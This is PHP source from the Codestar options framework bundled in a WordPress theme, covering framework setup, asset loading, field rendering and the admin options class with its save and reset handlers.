      $dirname        = str_replace( '//', '/', wp_normalize_path( dirname( dirname( self::$file ) ) ) );
      $theme_dir      = str_replace( '//', '/', wp_normalize_path( get_parent_theme_file_path() ) );
      $plugin_dir     = str_replace( '//', '/', wp_normalize_path( WP_PLUGIN_DIR ) );
      $plugin_dir     = str_replace( '/opt/bitnami', '/bitnami', $plugin_dir );
      $located_plugin = ( preg_match( '#'. self::sanitize_dirname( $plugin_dir ) .'#', self::sanitize_dirname( $dirname ) ) ) ? true : false;
      $directory      = ( $located_plugin ) ? $plugin_dir : $theme_dir;
      $directory_uri  = ( $located_plugin ) ? WP_PLUGIN_URL : get_parent_theme_file_uri();
      $foldername     = str_replace( $directory, '', $dirname );
      $protocol_uri   = ( is_ssl() ) ? 'https' : 'http';
      $directory_uri  = set_url_scheme( $directory_uri, $protocol_uri );

      self::$dir = $dirname;
      self::$url = $directory_uri . $foldername;

    }

    // Include file helper
    public static function include_plugin_file( $file, $load = true ) {

      $path     = '';
      $file     = ltrim( $file, '/' );
      $override = apply_filters( 'csf_override', 'csf-override' );

      if ( file_exists( get_parent_theme_file_path( $override .'/'. $file ) ) ) {
        $path = get_parent_theme_file_path( $override .'/'. $file );
      } elseif ( file_exists( get_theme_file_path( $override .'/'. $file ) ) ) {
        $path = get_theme_file_path( $override .'/'. $file );
      } elseif ( file_exists( self::$dir .'/'. $override .'/'. $file ) ) {
        $path = self::$dir .'/'. $override .'/'. $file;
      } elseif ( file_exists( self::$dir .'/'. $file ) ) {
        $path = self::$dir .'/'. $file;
      }

      if ( ! empty( $path ) && ! empty( $file ) && $load ) {

        global $wp_query;

        if ( is_object( $wp_query ) && function_exists( 'load_template' ) ) {

          load_template( $path, true );

        } else {

          require_once( $path );

        }

      } else {

        return self::$dir .'/'. $file;

      }

    }

    // Is active plugin helper
    public static function is_active_plugin( $file = '' ) {
      return in_array( $file, (array) get_option( 'active_plugins', array() ) );
    }

    // Sanitize dirname
    public static function sanitize_dirname( $dirname ) {
      return preg_replace( '/[^A-Za-z]/', '', $dirname );
    }

    // Set url constant
    public static function include_plugin_url( $file ) {
      return esc_url( get_template_directory_uri() ) .'/inc/options/framework/'. ltrim( $file, '/' );
    }

    // Include files
    public static function includes() {

      // Include common functions
      self::include_plugin_file( 'functions/actions.php'  );
      self::include_plugin_file( 'functions/helpers.php'  );
      self::include_plugin_file( 'functions/sanitize.php' );
      self::include_plugin_file( 'functions/validate.php' );

      // Include free version classes
      self::include_plugin_file( 'classes/abstract.class.php'      );
      self::include_plugin_file( 'classes/fields.class.php'        );
      self::include_plugin_file( 'classes/admin-options.class.php' );

      // Include all framework fields
      $fields = apply_filters( 'csf_fields', array(
        'accordion',
        'background',
        'backup',
        'border',
        'button_set',
        'callback',
        'checkbox',
        'code_editor',
        'color',
        'color_group',
        'content',
        'date',
        'datetime',
        'dimensions',
        'fieldset',
        'gallery',
        'group',
        'heading',
        'icon',
        'image_select',
        'link',
        'link_color',
        'map',
        'media',
        'notice',
        'number',
        'palette',
        'radio',
        'repeater',
        'select',
        'slider',
        'sortable',
        'sorter',
        'spacing',
        'spinner',
        'subheading',
        'submessage',
        'switcher',
        'tabbed',
        'text',
        'textarea',
        'typography',
        'upload',
        'wp_editor',
      ) );

      if ( ! empty( $fields ) ) {
        foreach ( $fields as $field ) {
          if ( ! class_exists( 'CSF_Field_'. $field ) && class_exists( 'CSF_Fields' ) ) {
            self::include_plugin_file( 'fields/'. $field .'/'. $field .'.php' );
          }
        }
      }

    }

    // Setup textdomain
    public static function textdomain() {
      load_textdomain( 'csf', self::$dir .'/languages/'. get_locale() .'.mo' );
    }

    // Set all of used fields
    public static function set_used_fields( $sections ) {

      if ( ! empty( $sections['fields'] ) ) {

        foreach ( $sections['fields'] as $field ) {

          if ( ! empty( $field['fields'] ) ) {
            self::set_used_fields( $field );
          }

          if ( ! empty( $field['tabs'] ) ) {
            self::set_used_fields( array( 'fields' => $field['tabs'] ) );
          }

          if ( ! empty( $field['accordions'] ) ) {
            self::set_used_fields( array( 'fields' => $field['accordions'] ) );
          }

          if ( ! empty( $field['elements'] ) ) {
            self::set_used_fields( array( 'fields' => $field['elements'] ) );
          }

          if ( ! empty( $field['type'] ) ) {
            self::$fields[$field['type']] = $field;
          }

        }

      }

    }

    // Enqueue admin and fields styles and scripts
    public static function add_admin_enqueue_scripts() {

      if ( ! self::$enqueue ) {

        // Loads scripts and styles only when needed
        $wpscreen = get_current_screen();

        if ( ! empty( self::$args['admin_options'] ) ) {
          foreach ( self::$args['admin_options'] as $argument ) {
            if ( substr( $wpscreen->id, -strlen( $argument['menu_slug'] ) ) === $argument['menu_slug'] ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$args['metabox_options'] ) ) {
          foreach ( self::$args['metabox_options'] as $argument ) {
            if ( in_array( $wpscreen->post_type, (array) $argument['post_type'] ) ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$args['taxonomy_options'] ) ) {
          foreach ( self::$args['taxonomy_options'] as $argument ) {
            if ( in_array( $wpscreen->taxonomy, (array) $argument['taxonomy'] ) ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$shortcode_instances ) ) {
          foreach ( self::$shortcode_instances as $argument ) {
            if ( ( $argument['show_in_editor'] && $wpscreen->base === 'post' ) || $argument['show_in_custom'] ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$args['widget_options'] ) && ( $wpscreen->id === 'widgets' || $wpscreen->id === 'customize' ) ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['customize_options'] ) && $wpscreen->id === 'customize' ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['nav_menu_options'] ) && $wpscreen->id === 'nav-menus' ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['profile_options'] ) && ( $wpscreen->id === 'profile' || $wpscreen->id === 'user-edit' ) ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['comment_options'] ) && $wpscreen->id === 'comment' ) {
          self::$enqueue = true;
        }

        if ( $wpscreen->id === 'tools_page_csf-welcome' ) {
          self::$enqueue = true;
        }

      }

      if ( ! apply_filters( 'csf_enqueue_assets', self::$enqueue ) ) {
        return;
      }

      // Admin utilities
      wp_enqueue_media();

      // Wp color picker
      wp_enqueue_style( 'wp-color-picker' );
      wp_enqueue_script( 'wp-color-picker' );

      // Font awesome 4 and 5 loader
      if ( apply_filters( 'csf_fa4', false ) ) {
        wp_enqueue_style( 'csf-fa', 'https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css', array(), '4.7.0', 'all' );
      } else {
        wp_enqueue_style( 'csf-fa5', 'https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.15.4/css/all.min.css', array(), '5.15.5', 'all' );
        wp_enqueue_style( 'csf-fa5-v4-shims', 'https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.15.4/css/v4-shims.min.css', array(), '5.15.5', 'all' );
      }

      // Check for developer mode
      $min = ( self::$premium && SCRIPT_DEBUG ) ? '' : '.min';

      // Main style
      wp_enqueue_style( 'csf', self::include_plugin_url( 'assets/css/style'. $min .'.css' ), array(), self::$version, 'all' );

      // Main RTL styles
      if ( is_rtl() ) {
        wp_enqueue_style( 'csf-rtl', self::include_plugin_url( 'assets/css/style-rtl'. $min .'.css' ), array(), self::$version, 'all' );
      }

      // Main scripts
      wp_enqueue_script( 'csf-plugins', self::include_plugin_url( 'assets/js/plugins'. $min .'.js' ), array(), self::$version, true );
      wp_enqueue_script( 'csf', self::include_plugin_url( 'assets/js/main'. $min .'.js' ), array( 'csf-plugins' ), self::$version, true );

      // Main variables
      wp_localize_script( 'csf', 'csf_vars', array(
        'color_palette'     => apply_filters( 'csf_color_palette', array() ),
        'i18n'              => array(
          'confirm'         => esc_html__( 'Are you sure?', 'csf' ),
          'typing_text'     => esc_html__( 'Please enter %s or more characters', 'csf' ),
          'searching_text'  => esc_html__( 'Searching...', 'csf' ),
          'no_results_text' => esc_html__( 'No results found.', 'csf' ),
        ),
      ) );

      // Enqueue fields scripts and styles
      $enqueued = array();

      if ( ! empty( self::$fields ) ) {
        foreach ( self::$fields as $field ) {
          if ( ! empty( $field['type'] ) ) {
            $classname = 'CSF_Field_' . $field['type'];
            if ( class_exists( $classname ) && method_exists( $classname, 'enqueue' ) ) {
              $instance = new $classname( $field );
              if ( method_exists( $classname, 'enqueue' ) ) {
                $instance->enqueue();
              }
              unset( $instance );
            }
          }
        }
      }

      do_action( 'csf_enqueue' );

    }

    // Add typography enqueue styles to front page
    public static function add_typography_enqueue_styles() {

      if ( ! empty( self::$webfonts ) ) {

        if ( ! empty( self::$webfonts['enqueue'] ) ) {

          $query = array();
          $fonts = array();

          foreach ( self::$webfonts['enqueue'] as $family => $styles ) {
            $fonts[] = $family . ( ( ! empty( $styles ) ) ? ':'. implode( ',', $styles ) : '' );
          }

          if ( ! empty( $fonts ) ) {
            $query['family'] = implode( '%7C', $fonts );
          }

          if ( ! empty( self::$subsets ) ) {
            $query['subset'] = implode( ',', self::$subsets );
          }

          $query['display'] = 'swap';

          wp_enqueue_style( 'csf-google-web-fonts', esc_url( add_query_arg( $query, '//fonts.googleapis.com/css' ) ), array(), null );

        }

        if ( ! empty( self::$webfonts['async'] ) ) {

          $fonts = array();

          foreach ( self::$webfonts['async'] as $family => $styles ) {
            $fonts[] = $family . ( ( ! empty( $styles ) ) ? ':'. implode( ',', $styles ) : '' );
          }

          wp_enqueue_script( 'csf-google-web-fonts', esc_url( '//ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js' ), array(), null );

          wp_localize_script( 'csf-google-web-fonts', 'WebFontConfig', array( 'google' => array( 'families' => $fonts ) ) );

        }

      }

    }

    // Add admin body class
    public static function add_admin_body_class( $classes ) {

      if ( apply_filters( 'csf_fa4', false ) ) {
        $classes .= 'csf-fa5-shims';
      }

      return $classes;

    }

    // Add custom css to front page
    public static function add_custom_css() {

      if ( ! empty( self::$css ) ) {
        echo '<style type="text/css">'. wp_strip_all_tags( self::$css ) .'</style>';
      }

    }

    // Add a new framework field
    public static function field( $field = array(), $value = '', $unique = '', $where = '', $parent = '' ) {

      // Check for unallow fields
      if ( ! empty( $field['_notice'] ) ) {

        $field_type = $field['type'];

        $field            = array();
        $field['content'] = esc_html__( 'Oops! Not allowed.', 'csf' ) .' <strong>('. $field_type .')</strong>';
        $field['type']    = 'notice';
        $field['style']   = 'danger';

      }

      $depend     = '';
      $visible    = '';
      $unique     = ( ! empty( $unique ) ) ? $unique : '';
      $class      = ( ! empty( $field['class'] ) ) ? ' ' . esc_attr( $field['class'] ) : '';
      $is_pseudo  = ( ! empty( $field['pseudo'] ) ) ? ' csf-pseudo-field' : '';
      $field_type = ( ! empty( $field['type'] ) ) ? esc_attr( $field['type'] ) : '';

      if ( ! empty( $field['dependency'] ) ) {

        $dependency      = $field['dependency'];
        $depend_visible  = '';
        $data_controller = '';
        $data_condition  = '';
        $data_value      = '';
        $data_global     = '';

        if ( is_array( $dependency[0] ) ) {
          $data_controller = implode( '|', array_column( $dependency, 0 ) );
          $data_condition  = implode( '|', array_column( $dependency, 1 ) );
          $data_value      = implode( '|', array_column( $dependency, 2 ) );
          $data_global     = implode( '|', array_column( $dependency, 3 ) );
          $depend_visible  = implode( '|', array_column( $dependency, 4 ) );
        } else {
          $data_controller = ( ! empty( $dependency[0] ) ) ? $dependency[0] : '';
          $data_condition  = ( ! empty( $dependency[1] ) ) ? $dependency[1] : '';
          $data_value      = ( ! empty( $dependency[2] ) ) ? $dependency[2] : '';
          $data_global     = ( ! empty( $dependency[3] ) ) ? $dependency[3] : '';
          $depend_visible  = ( ! empty( $dependency[4] ) ) ? $dependency[4] : '';
        }

        $depend .= ' data-controller="'. esc_attr( $data_controller ) .'"';
        $depend .= ' data-condition="'. esc_attr( $data_condition ) .'"';
        $depend .= ' data-value="'. esc_attr( $data_value ) .'"';
        $depend .= ( ! empty( $data_global ) ) ? ' data-depend-global="true"' : '';

        $visible = ( ! empty( $depend_visible ) ) ? ' csf-depend-visible' : ' csf-depend-hidden';

      }

      // These attributes has been sanitized above.
      echo '<div class="csf-field csf-field-'. $field_type . $is_pseudo . $class . $visible .'"'. $depend .'>';

      if ( ! empty( $field_type ) ) {

        if ( ! empty( $field['title'] ) ) {
          echo '<div class="csf-title">';
          echo '<h4>'. $field['title'] .'</h4>';
          echo ( ! empty( $field['subtitle'] ) ) ? '<div class="csf-subtitle-text">'. $field['subtitle'] .'</div>' : '';
          echo '</div>';
        }

        echo ( ! empty( $field['title'] ) ) ? '<div class="csf-fieldset">' : '';

        $value = ( ! isset( $value ) && isset( $field['default'] ) ) ? $field['default'] : $value;
        $value = ( isset( $field['value'] ) ) ? $field['value'] : $value;

        $classname = 'CSF_Field_'. $field_type;

        if ( class_exists( $classname ) ) {
          $instance = new $classname( $field, $value, $unique, $where, $parent );
          $instance->render();
        } else {
          echo '<p>'. esc_html__( 'Field not found!', 'csf' ) .'</p>';
        }

      } else {
        echo '<p>'. esc_html__( 'Field not found!', 'csf' ) .'</p>';
      }

      echo ( ! empty( $field['title'] ) ) ? '</div>' : '';
      echo '<div class="clear"></div>';
      echo '</div>';

    }

  }

}

CSF_Setup::init( __FILE__, false );

/**
 *
 * Extended Setup Class for Shortland
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF' ) ) {
  class CSF extends CSF_Setup{}
}
PK     2w\߃Fma  ma  1  options/framework/classes/admin-options.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Options Class
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Options' ) ) {
	class CSF_Options extends CSF_Abstract {

		// constans
		public $unique       = '';
		public $notice       = '';
		public $abstract     = 'options';
		public $sections     = array();
		public $options      = array();
		public $errors       = array();
		public $pre_tabs     = array();
		public $pre_fields   = array();
		public $pre_sections = array();
		public $args         = array(

			// framework title
			'framework_title'         => 'Codestar Framework <small>by Codestar</small>',
			'framework_class'         => '',

			// menu settings
			'menu_title'              => '',
			'menu_slug'               => '',
			'menu_type'               => 'menu',
			'menu_capability'         => 'manage_options',
			'menu_icon'               => null,
			'menu_position'           => null,
			'menu_hidden'             => false,
			'menu_parent'             => '',
			'sub_menu_title'          => '',

			// menu extras
			'show_bar_menu'           => true,
			'show_sub_menu'           => true,
			'show_in_network'         => true,
			'show_in_customizer'      => false,

			'show_search'             => true,
			'show_reset_all'          => true,
			'show_reset_section'      => true,
			'show_footer'             => true,
			'show_all_options'        => true,
			'show_form_warning'       => true,
			'sticky_header'           => true,
			'save_defaults'           => true,
			'ajax_save'               => true,
			'form_action'             => '',

			// admin bar menu settings
			'admin_bar_menu_icon'     => '',
			'admin_bar_menu_priority' => 50,

			// footer
			'footer_text'             => 'Thank you for creating with Codestar Framework',
			'footer_after'            => '',
			'footer_credit'           => '',

			// database model
			'database'                => '', // options, transient, theme_mod, network
			'transient_time'          => 0,

			// contextual help
			'contextual_help'         => array(),
			'contextual_help_sidebar' => '',

			// typography options
			'enqueue_webfont'         => true,
			'async_webfont'           => false,

			// others
			'output_css'              => true,

			// theme
			'nav'                     => 'normal',
			'theme'                   => 'dark',
			'class'                   => '',

			// external default values
			'defaults'                => array(),

		);

		// run framework construct
		public function __construct( $key, $params = array() ) {

			$this->unique   = $key;
			$this->args     = apply_filters( "csf_{$this->unique}_args", wp_parse_args( $params['args'], $this->args ), $this );
			$this->sections = apply_filters( "csf_{$this->unique}_sections", $params['sections'], $this );

			// run only is admin panel options, avoid performance loss
			$this->pre_tabs     = $this->pre_tabs( $this->sections );
			$this->pre_fields   = $this->pre_fields( $this->sections );
			$this->pre_sections = $this->pre_sections( $this->sections );

			$this->get_options();
			$this->set_options();
			$this->save_defaults();

			add_action( 'admin_menu', array( $this, 'add_admin_menu' ) );
			add_action( 'admin_bar_menu', array( $this, 'add_admin_bar_menu' ), $this->args['admin_bar_menu_priority'] );
			add_action( 'wp_ajax_csf_' . $this->unique . '_ajax_save', array( $this, 'ajax_save' ) );
			add_action( 'wp_ajax_penci_reset_all_options', array( $this, 'reset_all_options' ) );
			add_action( 'wp_ajax_penci_reset_section', array( $this, 'reset_sections' ) );

			if ( $this->args['database'] === 'network' && ! empty( $this->args['show_in_network'] ) ) {
				add_action( 'network_admin_menu', array( $this, 'add_admin_menu' ) );
			}

			// wp enqeueu for typography and output css
			parent::__construct();
		}

		// instance
		public static function instance( $key, $params = array() ) {
			return new self( $key, $params );
		}

		// add admin bar menu
		public function add_admin_bar_menu( $wp_admin_bar ) {

			if ( ! current_user_can( $this->args['menu_capability'] ) ) {
				return;
			}

			if ( is_network_admin() && ( $this->args['database'] !== 'network' || $this->args['show_in_network'] !== true ) ) {
				return;
			}

			if ( ! empty( $this->args['show_bar_menu'] ) && empty( $this->args['menu_hidden'] ) ) {

				global $submenu;

				$menu_slug = $this->args['menu_slug'];
				$menu_icon = ( ! empty( $this->args['admin_bar_menu_icon'] ) ) ? '<span class="csf-ab-icon ab-icon ' . esc_attr( $this->args['admin_bar_menu_icon'] ) . '"></span>' : '';

				$wp_admin_bar->add_node(
					array(
						'id'    => $menu_slug,
						'title' => $menu_icon . esc_attr( $this->args['menu_title'] ),
						'href'  => esc_url( ( is_network_admin() ) ? network_admin_url( 'admin.php?page=' . $menu_slug ) : admin_url( 'admin.php?page=' . $menu_slug ) ),
					)
				);

				if ( ! empty( $submenu[ $menu_slug ] ) ) {
					foreach ( $submenu[ $menu_slug ] as $menu_key => $menu_value ) {
						$wp_admin_bar->add_node(
							array(
								'parent' => $menu_slug,
								'id'     => $menu_slug . '-' . $menu_key,
								'title'  => $menu_value[0],
								'href'   => esc_url( ( is_network_admin() ) ? network_admin_url( 'admin.php?page=' . $menu_value[2] ) : admin_url( 'admin.php?page=' . $menu_value[2] ) ),
							)
						);
					}
				}
			}
		}

		public function ajax_save() {

			$result = $this->set_ajax_options();

			if ( ! $result ) {
				wp_send_json_error( array( 'error' => esc_html__( 'Error while saving the changes.', 'csf' ) ) );
			} else {
				wp_send_json_success(
					array(
						'notice' => $this->notice,
						'errors' => $this->errors,
					)
				);
			}
		}

		// get default value
		public function get_default( $field ) {

			$default = ( isset( $field['default'] ) ) ? $field['default'] : '';
			$default = ( isset( $this->args['defaults'][ $field['id'] ] ) ) ? $this->args['defaults'][ $field['id'] ] : $default;

			return $default;
		}

		// save defaults and set new fields value to main options
		public function save_defaults() {

			$tmp_options = $this->options;

			foreach ( $this->pre_fields as $field ) {
				if ( ! empty( $field['id'] ) ) {
					$this->options[ $field['id'] ] = ( isset( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : $this->get_default( $field );
				}
			}

			if ( $this->args['save_defaults'] && empty( $tmp_options ) ) {
				$this->save_options( $this->options );
			}
		}

		public function set_ajax_options() {
			$response = isset( $_REQUEST['data'] ) && $_REQUEST['data'] ? json_decode( wp_unslash( trim( $_REQUEST['data'] ) ), true ) : '';
			$noncekey = 'csf_options_nonce' . $this->unique;
			$nonce    = ( ! empty( $response[ $noncekey ] ) ) ? $response[ $noncekey ] : '';
			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) ) {

				if ( isset( $response['soledad_theme_options'] ) && ! empty( $response['soledad_theme_options'] ) ) {

					foreach ( $response['soledad_theme_options'] as $mod => $value ) {
						set_theme_mod( $mod, $value );
					}

					if ( empty( $this->notice ) ) {
						$this->notice = esc_html__( 'Settings saved.', 'csf' );
					}
				} elseif ( empty( $this->notice ) ) {
						$this->notice = esc_html__( 'Settings saved.', 'csf' );
				}

				return true;
			}
			return false;
		}

		public function reset_all_options() {
			$nonce = $_REQUEST['nonce'];
			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) ) {
				$theme_slug = get_option( 'stylesheet' );
				delete_option( "theme_mods_$theme_slug" );
				wp_send_json_success(
					array(
						'notice' => esc_html__( 'Default settings restored.', 'csf' ),
					)
				);
			}
			wp_send_json_error( array( 'error' => esc_html__( 'Error while resettings.', 'csf' ) ) );
		}

		public function reset_sections() {
			$nonce      = $_REQUEST['nonce'];
			$section_id = $_REQUEST['section'];
			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) && ! empty( $this->pre_sections[ $section_id - 1 ]['fields'] ) ) {

				foreach ( $this->pre_sections[ $section_id - 1 ]['fields'] as $field ) {
					if ( ! empty( $field['id'] ) ) {
						remove_theme_mod( $field['id'] );
					}
				}
				wp_send_json_success(
					array(
						'notice' => esc_html__( 'Default settings restored.', 'csf' ),
					)
				);
			}
			wp_send_json_error( array( 'error' => esc_html__( 'Error while resettings.', 'csf' ) ) );
		}

		// set options
		public function set_options( $ajax = false ) {

			// XSS ok.
			// No worries, This "POST" requests is sanitizing in the below foreach. see #L337 - #L341
			$response = ( $ajax && ! empty( $_POST['data'] ) ) ? json_decode( wp_unslash( trim( $_POST['data'] ) ), true ) : $_POST;

			// Set variables.
			$data      = array();
			$noncekey  = 'csf_options_nonce' . $this->unique;
			$nonce     = ( ! empty( $response[ $noncekey ] ) ) ? $response[ $noncekey ] : '';
			$options   = ( ! empty( $response[ $this->unique ] ) ) ? $response[ $this->unique ] : array();
			$transient = ( ! empty( $response['csf_transient'] ) ) ? $response['csf_transient'] : array();

			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) ) {

				$importing  = false;
				$section_id = ( ! empty( $transient['section'] ) ) ? $transient['section'] : '';

				if ( ! $ajax && ! empty( $response['csf_import_data'] ) ) {

					// XSS ok.
					// No worries, This "POST" requests is sanitizing in the below foreach. see #L337 - #L341
					$import_data  = json_decode( wp_unslash( trim( $response['csf_import_data'] ) ), true );
					$options      = ( is_array( $import_data ) && ! empty( $import_data ) ) ? $import_data : array();
					$importing    = true;
					$this->notice = esc_html__( 'Settings successfully imported.', 'csf' );

				}

				if ( ! empty( $transient['reset'] ) ) {

					$theme_slug = get_option( 'stylesheet' );
					delete_option( "theme_mods_$theme_slug" );

					$this->notice = esc_html__( 'Default settings restored.', 'csf' );

				} elseif ( ! empty( $transient['reset_section'] ) && ! empty( $section_id ) ) {

					if ( ! empty( $this->pre_sections[ $section_id - 1 ]['fields'] ) ) {

						foreach ( $this->pre_sections[ $section_id - 1 ]['fields'] as $field ) {
							if ( ! empty( $field['id'] ) ) {
								$data[ $field['id'] ] = $this->get_default( $field );
							}
						}
					}

					$data = wp_parse_args( $data, $this->options );

					$this->notice = esc_html__( 'Default settings restored.', 'csf' );

				} else {

					// sanitize and validate
					foreach ( $this->pre_fields as $field ) {

						if ( ! empty( $field['id'] ) ) {

								$field_id    = $field['id'];
								$field_value = isset( $options[ $field_id ] ) ? $options[ $field_id ] : '';

								// Ajax and Importing doing wp_unslash already.
							if ( ! $ajax && ! $importing ) {
								$field_value = wp_unslash( $field_value );
							}

							// Sanitize "post" request of field.
							if ( ! isset( $field['sanitize'] ) ) {

								if ( is_array( $field_value ) ) {

									$data[ $field_id ] = wp_kses_post_deep( $field_value );

								} else {

									$data[ $field_id ] = wp_kses_post( $field_value );

								}
							} elseif ( isset( $field['sanitize'] ) && is_callable( $field['sanitize'] ) ) {

										$data[ $field_id ] = call_user_func( $field['sanitize'], $field_value );

							} else {

								$data[ $field_id ] = $field_value;

							}

							// Validate "post" request of field.
							if ( isset( $field['validate'] ) && is_callable( $field['validate'] ) ) {

								$has_validated = call_user_func( $field['validate'], $field_value );

								if ( ! empty( $has_validated ) ) {

									$data[ $field_id ]         = ( isset( $this->options[ $field_id ] ) ) ? $this->options[ $field_id ] : '';
									$this->errors[ $field_id ] = $has_validated;

								}
							}
						}
					}
				}

				$data = apply_filters( "csf_{$this->unique}_save", $data, $this );

				do_action( "csf_{$this->unique}_save_before", $data, $this );

				$this->options = $data;

				$this->save_options( $data );

				do_action( "csf_{$this->unique}_save_after", $data, $this );

				if ( empty( $this->notice ) ) {
					$this->notice = esc_html__( 'Settings saved.', 'csf' );
				}

				return true;

			}

			return false;
		}

		// save options database
		public function save_options( $data ) {

			if ( $this->args['database'] === 'transient' ) {
				set_transient( $this->unique, $data, $this->args['transient_time'] );
			} elseif ( $this->args['database'] === 'theme_mod' ) {
				foreach ( $data as $id => $value ) {
					set_theme_mod( $id, $value );
				}
			} elseif ( $this->args['database'] === 'network' ) {
				update_site_option( $this->unique, $data );
			} else {
				update_option( $this->unique, $data );
			}

			do_action( "csf_{$this->unique}_saved", $data, $this );
		}

		// get options from database
		public function get_options() {

			if ( $this->args['database'] === 'transient' ) {
				$this->options = get_transient( $this->unique );
			} elseif ( $this->args['database'] === 'theme_mod' ) {
				$this->options = get_theme_mods();
			} elseif ( $this->args['database'] === 'network' ) {
				$this->options = get_site_option( $this->unique );
			} else {
				$this->options = get_option( $this->unique );
			}

			if ( empty( $this->options ) ) {
				$this->options = array();
			}

			return $this->options;
		}

		// admin menu
		public function add_admin_menu() {

			extract( $this->args );

			if ( $menu_type === 'submenu' ) {

				$menu_page = call_user_func( 'add_submenu_page', $menu_parent, esc_attr( $menu_title ), esc_attr( $menu_title ), $menu_capability, $menu_slug, array( $this, 'add_options_html' ) );

			} else {

				$menu_page = call_user_func( 'add_menu_page', esc_attr( $menu_title ), esc_attr( $menu_title ), $menu_capability, $menu_slug, array( $this, 'add_options_html' ), $menu_icon, $menu_position );

				if ( ! empty( $sub_menu_title ) ) {
					call_user_func( 'add_submenu_page', $menu_slug, esc_attr( $sub_menu_title ), esc_attr( $sub_menu_title ), $menu_capability, $menu_slug, array( $this, 'add_options_html' ) );
				}

				if ( ! empty( $this->args['show_sub_menu'] ) && count( $this->pre_tabs ) > 1 ) {

					// create submenus
					foreach ( $this->pre_tabs as $section ) {
						call_user_func( 'add_submenu_page', $menu_slug, esc_attr( $section['title'] ), esc_attr( $section['title'] ), $menu_capability, $menu_slug . '#tab=' . sanitize_title( $section['title'] ), '__return_null' );
					}

					remove_submenu_page( $menu_slug, $menu_slug );

				}

				if ( ! empty( $menu_hidden ) ) {
					remove_menu_page( $menu_slug );
				}
			}

			add_action( 'load-' . $menu_page, array( $this, 'add_page_on_load' ) );
		}

		public function add_page_on_load() {

			if ( ! empty( $this->args['contextual_help'] ) ) {

				$screen = get_current_screen();

				foreach ( $this->args['contextual_help'] as $tab ) {
					$screen->add_help_tab( $tab );
				}

				if ( ! empty( $this->args['contextual_help_sidebar'] ) ) {
					$screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
				}
			}

			if ( ! empty( $this->args['footer_credit'] ) ) {
				add_filter( 'admin_footer_text', array( $this, 'add_admin_footer_text' ) );
			}
		}

		public function add_admin_footer_text() {
			echo wp_kses_post( $this->args['footer_credit'] );
		}

		public function error_check( $sections, $err = '' ) {

			if ( ! $this->args['ajax_save'] ) {

				if ( ! empty( $sections['fields'] ) ) {
					foreach ( $sections['fields'] as $field ) {
						if ( ! empty( $field['id'] ) ) {
							if ( array_key_exists( $field['id'], $this->errors ) ) {
								$err = '<span class="csf-label-error">!</span>';
							}
						}
					}
				}

				if ( ! empty( $sections['subs'] ) ) {
					foreach ( $sections['subs'] as $sub ) {
						$err = $this->error_check( $sub, $err );
					}
				}

				if ( ! empty( $sections['id'] ) && array_key_exists( $sections['id'], $this->errors ) ) {
					$err = $this->errors[ $sections['id'] ];
				}
			}

			return $err;
		}

		// option page html output
		public function add_options_html() {

			$has_nav       = ( count( $this->pre_tabs ) > 1 ) ? true : false;
			$show_all      = ( ! $has_nav ) ? ' csf-show-all' : '';
			$ajax_class    = ( $this->args['ajax_save'] ) ? ' csf-save-ajax' : '';
			$sticky_class  = ( $this->args['sticky_header'] ) ? ' csf-sticky-header' : '';
			$wrapper_class = ( $this->args['framework_class'] ) ? ' ' . $this->args['framework_class'] : '';
			$theme         = ( $this->args['theme'] ) ? ' csf-theme-' . $this->args['theme'] : '';
			$class         = ( $this->args['class'] ) ? ' ' . $this->args['class'] : '';
			$nav_type      = ( $this->args['nav'] === 'inline' ) ? 'inline' : 'normal';
			$form_action   = ( $this->args['form_action'] ) ? $this->args['form_action'] : '';

			do_action( 'csf_options_before' );

			echo '<div class="csf csf-options' . esc_attr( $theme . $class . $wrapper_class ) . '" data-slug="' . esc_attr( $this->args['menu_slug'] ) . '" data-unique="' . esc_attr( $this->unique ) . '">';

			echo '<div class="csf-container">';

			echo '<form method="post" action="' . esc_attr( $form_action ) . '" enctype="multipart/form-data" id="csf-form" autocomplete="off" novalidate="novalidate">';

			echo '<input type="hidden" class="csf-section-id" name="csf_transient[section]" value="1">';

			wp_nonce_field( 'csf_options_nonce', 'csf_options_nonce' . $this->unique );

			echo '<div class="csf-header' . esc_attr( $sticky_class ) . '">';
			echo '<div class="csf-header-inner">';

			echo '<div class="csf-header-left">';
			echo '<h1><span>' . $this->args['framework_title'] . '</span></h1>';
			echo '</div>';

			echo '<div class="csf-header-right">';

			$notice_class = ( ! empty( $this->notice ) ) ? 'csf-form-show' : '';
			$notice_text  = ( ! empty( $this->notice ) ) ? $this->notice : '';

			echo '<div class="csf-form-result csf-form-success ' . esc_attr( $notice_class ) . '">' . $notice_text . '</div>';

			echo ( $this->args['show_form_warning'] ) ? '<div class="csf-form-result csf-form-warning">' . esc_html__( 'You have unsaved changes, save your changes!', 'csf' ) . '</div>' : '';

			echo ( $has_nav && $this->args['show_all_options'] ) ? '<div class="csf-expand-all" title="' . esc_html__( 'show all settings', 'csf' ) . '"><i class="fas fa-outdent"></i></div>' : '';

			echo ( $this->args['show_search'] ) ? '<div class="csf-search"><input type="text" name="csf-search" placeholder="' . esc_html__( 'Search...', 'csf' ) . '" autocomplete="off" /></div>' : '';

			echo '<div class="csf-buttons">';
